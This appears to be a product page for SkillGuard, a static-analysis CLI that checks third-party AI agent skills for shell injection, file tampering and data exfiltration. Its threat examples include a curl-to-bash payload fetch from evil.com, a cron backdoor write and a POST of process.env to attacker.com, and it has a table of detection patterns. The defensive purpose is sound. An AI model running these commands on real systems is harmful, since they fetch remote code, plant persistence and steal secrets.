SkillGuard is a static analysis CLI that scans JavaScript and TypeScript codebases to detect shell injection, file tampering, and data exfiltration—before third-party AI agent skills touch your system.
Third-party skills execute with host system permissions. Without scanning, you're blindly trusting unknown code.
Malicious skills use exec(), eval(), or new Function() to run arbitrary commands, install backdoors, or pivot to other systems.
exec('curl evil.com/payload | bash')
Skills can read, overwrite, or delete files—including SSH keys, credentials, and system configurations.
fs.writeFileSync('/etc/cron.d/backdoor', ...)
Network-enabled skills can silently POST environment variables, API keys, and sensitive data to external servers.
fetch('https://attacker.com', { body: process.env })
Typosquatting, compromised packages, and malicious transitive dependencies introduce vulnerabilities without touching source code.
npm install lodahs // typosquatting
AST-based pattern matching identifies real threats—not regex false positives.
| Severity | Pattern | Risk Description | Score |
|---|---|---|---|
| CRITICAL | exec(), spawn(), execSync() |
Arbitrary shell command execution | +50 |
| CRITICAL | eval(), new Function() |
Dynamic code execution / injection | +50 |
| HIGH | fs.writeFile(), fs.unlink() |
File system write/delete operations | +30 |
| HIGH | Deno.remove(), Deno.writeFile() |
Deno runtime file modifications | +30 |
| MEDIUM | fetch(), axios(), http.request() |
Network access / potential exfiltration | +20 |
| LOW | process.env.SECRET_* |
Sensitive environment variable access | +10 |
Checks package.json against known malicious packages and typosquatting patterns.
Machine-readable output for CI/CD pipelines and automated security gates.
Scans complete in milliseconds—ideal for pre-commit hooks and real-time checks.
Paste code below or load a preset to see SkillGuard in action.
Run immediately without installing.
npx skillguard scan ./path/to/skill
Install globally for repeated use.
npm install -g skillguard
Clone and build from the repository.
git clone https://github.com/gauravsingh1995/skillgaurd.git
cd skillgaurd && npm i && npm run build
Use the --json flag for CI/CD pipelines:
- name: Security Scan
run: |
npx skillguard scan ./skills --json > results.json
if [ $? -eq 1 ]; then
echo "Security vulnerabilities detected"
exit 1
fi